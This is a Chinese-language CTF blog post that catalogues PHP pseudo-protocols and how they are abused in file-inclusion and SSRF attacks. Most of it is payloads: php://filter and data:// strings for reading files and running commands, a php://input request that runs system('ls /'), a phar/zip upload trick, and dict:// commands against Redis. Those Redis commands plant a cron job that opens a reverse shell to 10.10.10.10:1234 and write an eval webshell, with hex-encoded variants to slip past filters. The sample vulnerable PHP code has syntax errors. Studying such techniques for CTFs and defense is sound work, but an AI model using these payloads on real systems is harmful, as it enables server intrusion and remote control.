伪协议

2026 年 1 月 5 日 (已编辑)
1046 字
6 分钟

介绍

伪协议(Wrapper/Pseudo-Protocol)是PHP等环境中特殊的URL式协议, 用于访问各种I/O流和系统资源; 它们提供了统一接口来处理不同数据源, 但也常被攻击者利用进行漏洞利用

特点

  • 非标准协议:不是真正的网络协议(如HTTP/FTP)
  • 统一访问接口:通过类似URL的语法(php://)访问不同资源
  • 上下文相关:行为受配置影响(如PHP的allow_url_include)

主要伪协议

php协议

php官方文档

php://filter

作用: 对流进行过滤处理, 其实就是读取文件再加个加密

关键参数

  • read:指定过滤器
  • resource:目标资源
text
# 读取文件并Base64编码
php://filter/convert.base64-encode/resource=config.php

# 多层过滤器链
php://filter/read=string.rot13|string.toupper/resource=/etc/passwd

在php中,过滤器分为字符串过滤器、转换过滤器、压缩过滤器以及加密过滤器, php官方过滤器大全

一些payload

text
php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.base64-decode/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/convert.iconv.UTF-8/GBK/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
php://filter/bzip2.compress/resource=flag.php
php://filter/string.rot13/resource=flag.php
php://filter/string.tolower/resource=flag.php

php://input

作用: 读取POST原始数据

反正在CTF中, 一般是GET传入php://input后在POST中写你要执行的命令就行, 比如这个:

php
<?php
if (isset($GET['file'])){
    if substr($GET["file"],0,6)==="php://")
        include($GET["file"]);
    }else{
        echo "Hacker!!"
    }
}else{
    highlight_file(__FILE__)
}
?>

利用方式如下:

text
POST /?file=php://input HTTP/1.1
<?php system ("ls /")?>

php://fd

作用: 直接访问文件描述符

没见过题目, 不过据说有

php://output

没见过题目

php://memory, php://temp

没见过题目

file协议

作用: 访问本地文件系统, 但是需要绝对路径, 通常用于验证是否存在ssrf

text
file:///etc/passwd
file:///C:/Windows/win.ini

data协议

允许将原始数据嵌入到 URL 中, 通过文件包含漏洞, 我们可以利用这个伪协议将恶意 PHP 代码作为数据嵌入, 并让服务器解释执行

text
// 直接执行代码
data://text/plain,<?php system("id");?>'

// Base64编码
data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+

phar协议

用于访问phar文件, 这里存在一个phar反序列化和配合文件上传利用

phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘; 此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上

文件上传

结合文件上传的利用方式:

  1. 压缩带有一句话木马的php文件, zip后缀改为.jpg(比如test.php)
  2. 上传后利用phar进行读取
text
phar://./test.jpg/test.php
  1. 尝试POST传入命令执行

反序列化

这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞, 漏洞触发是利用phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息

可以看看这个

zip协议

访问ZIP压缩包内文件, 利用方式和phar协议的文件上传部分相同

注意是绝对路径, 否则会包含失败

text
zip://C:/Users/40454/Desktop/test.jpg%23test.txt
zip:///var/www/html/test.zip%23test.txt

glob协议

文件模式匹配, 结合print等输出函数就可以拿到文件信息, 下面是等效的

text
?cmd=highlight_file('1.php');
?cmd=print_r(glob("*.php"));
?cmd=print_r(glob("*"));

dict协议

dict和gopher都是ssrf打数据库的常客啊

字典服务器协议,访问字典资源,如,dict:///ip:6739/info, 利用这一点可以探测端口, 指纹信息甚至服务的命令

bash
# dict协议攻击redis, 写入定时任务反弹shell
# centos系统定时任务的路径为:/var/spool/cron
# debian系统定时任务的路径为:/var/spool/cron/crontabs
# ubuntu就不要想了, 这个条件有点苛刻

dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save

# 若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"

# dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"

# dict://127.0.0.1:6379/save 若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"

# dict协议攻击redis,写入ssh公钥 操作和写入定时任务相似

gopher协议

分布式文档传递服务,gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务, 可使用gopherus工具生成payload

text
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议

文章标题:伪协议

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/ctf/%E4%BC%AA%E5%8D%8F%E8%AE%AE[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。